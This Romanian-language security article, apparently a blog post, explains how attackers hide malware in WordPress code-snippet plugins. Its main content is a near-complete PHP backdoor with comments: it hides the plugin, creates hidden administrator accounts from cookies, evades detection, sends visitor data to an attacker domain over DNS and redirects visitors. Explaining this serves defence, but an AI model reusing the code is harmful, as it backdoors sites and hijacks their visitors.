Recent a aparut o noua modalitate de a ascunde malware pe site-urile WordPress, utilizând pluginuri care oferă fragmente de cod PHP personalizate (Cod Snippets). De ce astfel de plugin-uri reprezintă automat un risc de securitate și ar trebui evitate pe toate site-urile WordPress ori de câte ori este posibil ?
Procedeul de atac:
Acces inițial: atacatorul foloseste privilegii la nivel de administrator, obținute prin exploit-uri sau vulnerabilități existente, pentru a instala un plugin pentru fragmente de cod din sursa oficială de pe WordPress.org. (Exemplu: Code Snipetts https://ro.wordpress.org/plugins/code-snippets/)
Ascundere: Se generează un fragment de cod care ascunde prezența pluginului pentru administrator. Acest lucru se realizează prin mascarea tuturor informațiilor aferente prin CSS si prin descărcarea imediată a pluginului folosind un Webhook WordPress.
Execuție: Malware-ul se executată automat la fiecare incarcare de pagină.
Iata un exemplu de cod folosit:
// Atacatorul isi seteaza parola de acces
$_pwsa = ‘password_string’;
// Atacatorul ascunde prezenta pluginului pentru administrator
if (current_user_can(‘administrator’) && !array_key_exists(‘show_all’, $_GET)) {
add_action(‘admin_print_scripts’, function () {
echo ‘<style>’;
…
echo ‘</style>’;
});
add_filter(‘all_plugins’, function ($plugins) {
unset($plugins[‘insert-headers-and-footers/ihaf.php’]);
return $plugins;
});
}
if (!function_exists(‘_red’)) {
// Functie pentru decodarea cookie-urilor encodate base64
function _gcookie($n) {
return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : ”;
}
// Partea de control si exploatare
// Verifica daca browserul are setata parola codata in cookie
if (!empty($_pwsa) && _gcookie(‘pw’) === $_pwsa) {
// Optiuni
switch (_gcookie(‘c’)) {
// Ascunde optiunile prin WordPress
case ‘sd’:
$d = _gcookie(‘d’);
if (strpos($d, ‘.’) > 0) {
update_option(‘d’, $d);
}
break;
// Isi creeaza un user cu drepturi de administrator pe site
// username, password and e-mail sunt definite in cookie-urile u,p,e
case ‘au’:
$u = _gcookie(‘u’);
$p = _gcookie(‘p’);
$e = _gcookie(‘e’);
if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
break;
}
return;
}
//Ascunde codul din pagina de login ca sa nu fie detectat
if (@stripos(wp_login_url(), ”.$_SERVER[‘SCRIPT_NAME’]) !== false) { return; }
// Isi ascunde codul pe o anumita pagina daca un anume cookie e gasit
if (_gcookie(„skip”) === „1”) { return; }
// Functii
function _is_mobile() { … }
function _is_iphone() { … }
function _user_ip() { … }
function _red() {
// Nu face nimic daca sunt logati useri pe site
if (is_user_logged_in()) { return; }
// Nu face nimic daca IP-ul nu e set, cel mai probabil ca sa evite detectarea daca este rulat un tool ca WP CLI
$ip = _user_ip(); if (!$ip) { return; }
// Salveaza o lista cu adresele IP ale vizitatorilor
$exp = get_transient(‘exp’); if (!is_array($exp)) { $exp = array(); }
// Sterge adresa IP din lista daca au trecut 24h
foreach ($exp as $k => $v) { if (time() – $v > 86400) { unset($exp[$k]); } }
// Nu sterge adresa IP daca nu au trecut 24h
if (key_exists($ip, $exp) && (time() – $exp[$ip] < 86400)) { return; }
// Salveaza adresa ip a vizitatorului
$host = filter_var(parse_url(‘https://’ . $_SERVER[‘HTTP_HOST’], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);
$ips = str_replace(‘:’, ‘-‘, $ip); $ips = str_replace(‘.’, ‘-‘, $ips);
// Salveaza domeniul atacatorului in optiuni
$h = ‘cdn-routing.com’;
$o = get_option(‘d’);
if ($o && strpos($o, ‘.’) > 0) { $h = $o; }
// Pregateste un request DNS
$m = _is_iphone() ? ‘i’ : ‘m’; $req = (!$host ? ‘unk.com’ : $host) . ‘.’ . (!$ips ? ‘0-0-0-0’ : $ips) . ‘.’ . mt_rand(100000, 999999) . ‘.’ . (_is_mobile() ? ‘n’ . $m : ‘nd’) . ‘.’ . $h;
// Trimite un request DNS catre un URL redirect
$s = null;
try {
$v = „d” . „ns_” . „get” . „_rec” . „ord”;
$s = @$v($req, DNS_TXT);
} catch (\Throwable $e) { } catch (\Exception $e) { }
// Redirecteaza vizitatorul catre numele de domeniu al atacatorului
// Log the IP into storage
if (is_array($s) && !empty($s)) {
if (isset($s[0][‘txt’])) {
$s = $s[0][‘txt’];
$s = base64_decode($s);
if ($s == ‘err’) {
$exp[$ip] = time();
delete_transient(‘exp’);
set_transient(‘exp’, $exp);
} else if (substr($s, 0, 4) === ‘http’) {
$exp[$ip] = time();
delete_transient(‘exp’);
set_transient(‘exp’, $exp);
wp_redirect($s);
exit;
}
}
}
}
add_action(‘init’, ‘_red’);
}
Codul prezentat mai sus oferă atacatorului posibilitatea de a redirecționa vizitatorii site-ului web către orice alt domeniu pe care îl doreste. Backdoor-ul permite schimbarea domeniului.
Nu in ultimul rand, atacatorul poate, în orice moment, să-si creeze propriul utilizator cu drepturi de administrator pe site si să-l folosească după bunul plac – eventual perfectionand codul malware initial.